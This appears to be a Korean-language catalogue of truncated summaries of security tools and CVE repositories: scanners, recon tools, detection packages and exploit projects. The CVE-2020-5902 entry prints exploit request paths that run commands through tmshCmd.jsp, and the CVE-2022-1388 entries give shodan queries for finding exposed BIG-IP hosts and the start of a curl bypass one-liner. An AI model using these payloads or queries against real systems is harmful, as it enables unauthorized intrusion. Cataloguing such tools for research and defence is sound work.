netwave-dosvulnerability

Netwave IP Camera 서버가 모든 펌웨어에서 하나의 거대한 POST 요청을 통해 인증되지 않은 서비스 거부Denial of Service에 취약함 CVE| 설명 ---|--- CVE-2018-6479| 인증되지 않은 원격 서비스 거부Denial of Service 취약점 CVSS| 점수| 세부 사항 ---|---|--- 3| 7.3| CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X 0. 소개: IoT 보안 연구 과정에서 여러 IP 카메라 벤더에서 몇 가지...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei 템플릿 CVE-2022-1388 BIG-IP iControl REST 노출 2022년 5월 6일 이 템플릿은 인증 엔드포인트를 호출하여 API의 존재 여부만 확인합니다. 이 취약점으로 인해 관리 포트 및/또는 셀프 IP 주소를 통해 BIG-IP 시스템에 네트워크 접근 권한이 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성·삭제하거나, 서비스를 비활성화할 수 있습니다. 데이터 플레인data plane 노출은 없으며, 이는 컨트롤 플레인control plane 문제일 뿐입니다. 이 템플릿은...

IPGeoLocation

IPGeoLocation ==== IP 지리적 위치 정보를 검색하는 도구 ip-api 기반 요구 사항 Python 3.x termcolor colorama 다운로드/설치 git clone https://github.com/maldevel/IPGeoLocation pip3 install -r requirements.txt --user pip3가 없는 경우: apt-get install python3-setuptools easyinstall3 pip pip3 install -r requirements.txt 기능 IP 또는 도메인...

Taken

Taken AWS의 유령 탄력적 IP를 사용하여 서브도메인을 탈취하고, 서브도메인 탈취에 대한 작동하는 POC를 제공합니다. 서브도메인 탈취로 할 수 있는 작업: 쿠키 탈취: 쿠키가 도메인 속성으로 하이재킹된 서브도메인에 설정된 경우. CORS 요청: Access-Control-Allow-Origin이 하이재킹된 서브도메인으로 설정된 경우. 인증 코드를 얻기 위한 OAuth 리디렉션: 하이재킹된 서브도메인이 허용 목록에 있는 경우. XSS를 위한 CSP 정책: CSP 정책이 이 서브도메인을 허용하는 경우. 클릭재킹:...

CloudRecon

CloudRecon 인증서에서 자산을 찾으세요! 웹을 스캔하세요! @DEFCON 31에서 발표된 도구 제작자 Gunnar Andrews @G0LDENinfosec Jason Haddix @Jhaddix 설치 CloudRecon을 실행하려면 CGO가 활성화되어 있어야 하며 gcc를 설치해야 할 수도 있습니다 sudo apt install gcc go install github.com/g0ldencybersec/CloudRecon@latest 참고: 설치 전에 GOPATH를 설정하는 것을 잊지 마세요. 설명 CloudRecon...

CVE-2022-1388

CVE-2022-1388 BIG IP REST 원격 코드 실행 F5 BIG-IP 16.1.x 버전 중 16.1.2.2 이전, 15.1.x 버전 중 15.1.5.1 이전, 14.1.x 버전 중 14.1.4.6 이전, 13.1.x 버전 중 13.1.5 이전, 그리고 모든 12.1.x 및 11.6.x 버전에서, 공개되지 않은 요청이 iControl REST 인증을 우회할 수 있습니다. 이 취약점을 테스트하기 위해 다음 cURL 원-라이너를 사용하세요. curl -k --header "Host: 127.0.0.1" --header...

pwneye

pwneye는 ONVIF 및 RTSP 서비스를 노출하는 IP 카메라를 대상으로 하는 집중적이고 휴대 가능한 공격적 보안 도구로, 보안 연구원과 해커가 단일 CLI 워크플로우에서 탐지, 인증 테스트, 메타데이터 수집, 스트림 검증, 녹화 및 후속 조치를 쉽게 처리할 수 있도록 설계되었습니다. 현재 지원되는 기능 중 일부는 다음과 같습니다: WS-Discovery를 통한 로컬 네트워크 ONVIF 탐지 단일 자격 증명 또는 사용자 이름/비밀번호 파일을 사용한 ONVIF 인증 및 멀티스레드 무차별 대입 공격 장치 정보, 구성된 사용자...

AIP

공격자 IP 우선순위 지정 AIP 도구 공격자 IP 우선순위 지정Attacker IP Prioritization, AIP은 허니팟 네트워크에서 수집된 네트워크 트래픽을 기반으로 효율적이고 경제적인 IP 차단 목록blocklist을 생성하는 도구입니다. 5G의 등장으로 IoT 기기는 종종 방화벽 보호 없이 직접 연결됩니다. 따라서 작고 효율적이며 경제적인 차단 목록이 필요합니다. AIP 구조는 아래와 같습니다. AIP 모델 각 AIP 모델은 특정 기준에 따라 고유한 차단 목록을 생성합니다. 주요 모델은 다음과 같습니다. 1. 신...

fcn-

fcn free connect your private network from anywhere 1. fcn이란 무엇인가 fcnfree connect은 누구나 간편하게 원클릭으로 사설망에 접속할 수 있는 도구로, 고객 서버와 클라이언트로 구성됩니다. fcn은 fcn 공용망 데이터 서버와 데이터 암호화 기술을 사용하여 사용자 클라이언트를 고객 서버 사설망에 가상으로 접속시킵니다. fcn = fcnserver + fcnclient 참고: FCN V3.0 이전 버전은 서버 전환 시 BUG가 있으며, FCN이 최근 서버 IP를 전환하여...

CVE-2020-5902-F5BigIP

CVE-2020-5902 F5 BIG-IP 장치 요약: F5 Networks BIG-IP 장치에 영향을 미치는 CVE10.0 취약점인 CVE-2020-5902를 탐지하는 Zeek 탐지 패키지입니다. 참고 자료: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/ https://support.f5.com/csp/article/K52145254...

Cerberus

Cerberus 강력한 취약점 스캐너입니다. 서브도메인 브루트포싱은 aioDNS를 사용하며, asyncio 비동기 방식으로 빠르게 스캔합니다. 대상의 전체 자산을 포괄하여 배치 취약점 스캔, 미들웨어 정보 수집, 자동 IP 프록시 수집, WAF 정보 탐지 시 자동으로 실제 IP 보호, 본 IP가 WAF에 의해 차단된 후 자동으로 프록시 IP로 전환하여 스캔합니다. WAF 정보 수집국내외 100여 종 WAF 정보에는 安全狗안전견, 云锁클라우드락, 阿里云알리윈, 云盾클라우드실드, 腾讯云텐센트 클라우드 등이 포함되며, 일부 알려진...

CloudFail

CloudFail CloudFail은 Cloudflare로 보호되는 대상에 대한 충분한 정보를 수집하여 서버의 위치를 발견하는 것을 목표로 하는 전술적 정찰 도구입니다. Tor를 사용하여 모든 요청을 마스킹하며, 현재 이 도구는 3가지 공격 단계를 가지고 있습니다. 1. DNSDumpster.com을 사용한 잘못 구성된 DNS 스캔. 2. Crimeflare.com 데이터베이스 스캔. 3. 2500개 이상의 하위 도메인에 대한 무차별 대입 스캔. 이 프로젝트에 기여해 주시기 바랍니다. 아이디어나 개선 사항이 있으면 풀 리퀘스트...

CVE-2022-1388

shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 CVE-2022-1388 스캐너 사용법 $python3 CVE-2022-1388-V1.1.py...

CVE-2020-5903

CVE-2020-5902 RCE /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...

Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 CVE-2022-1388 F5 BIG-IP 익스플로잇 - bash 스크립트 원라이너 익스플로잇 취약한 버전 : BIG-IP 버전 16.1.0 16.1.2 패치 출시됨 BIG-IP 버전 15.1.0 15.1.5 패치 출시됨 BIG-IP 버전 14.1.0 14.1.4 패치 출시됨 BIG-IP 버전 13.1.0 13.1.4 패치 출시됨 BIG-IP 버전 12.1.0 12.1.6 지원 종료 BIG-IP 버전 11.6.1 11.6.5 지원 종료...

CVE-2020-8554

Kubernetes 클러스터 생성 kind create cluster --config ./kind.yaml 클러스터에는 certmanager가 설치되어 있어야 합니다: https://cert-manager.io/docs/installation/kubernetes/ 취약점 테스트 kubectl apply -f - 'EOF' apiVersion: v1 kind: Namespace metadata: name: kubeproxy-mitm --- apiVersion: apps/v1 kind: Deployment metadata: nam...

OSIPs

OSIPs 이 스크립트는 지정된 폴더의 모든 파일을 재귀적으로 스캔하여 모든 IPv4 및 IPv6 주소를 추출하고, 공인 IP 주소를 필터링한 다음 TOR 릴레이, WhoIs 서비스 및 위치 서비스에 대해 이 IP들을 조회합니다. 출력 파일은 4개입니다: IP 주소의 모든 세부 정보가 포함된 CSV 파일과 JSON 파일, 발견된 모든 IP 주소의 인덱스가 포함된 CSV 파일, 그리고 수집된 모든 위치 정보가 포함된 KML 파일입니다. 기능 단일 실행에서 여러 파일을 파싱 단일 입력 파일에 대해서도 실행 가능 모든 고유한 유효...

CVE-2018-9995-2

도구 CVE-2018-9995-2 CVE: CVE-2018-9995 익스플로잇 작성자: Fernandez Ezequiel @capitanalfa 수정: Kien Quoc 버전: 2.0 Python3 설치 apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 빠른 시작 git clone https://github.com/kienquoc102/CVE-2018-9995-2 cd CVE-2018-9995...

Malicious code in css-gap-decorations-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8126656cc344a4f632b8ddf5a23683fc92ac22798bb67e1aed6bca73ac82d7b6 The package is published as a CSS polyfill but ships no polyfill functionality. On require, thunderboltRegistry.js uses childprocess.execSync to run...

Patriot-Linux

Patriot-Linux 데스크톱 사용자를 위한 호스트 IDS Patriot Linux는 의심스러운 상황이 발생할 때 실시간 그래픽 알림을 원하는 데스크톱 사용자를 위한 HIDS입니다. Patriot 감지: 1- 의심스러운 프로세스 실행 2- TCP/IP 연결을 시작하는 새 프로세스 3- Auditd 알림 4- 새 키보드 연결 설치 Auditd를 이 제안된 규칙에 맞게 구성해야 합니다 https://github.com/Neo23x0/auditd 자신의 규칙을 사용하고 코드에서 키워드를 수정하기만 하면 됩니다 xinput 설치...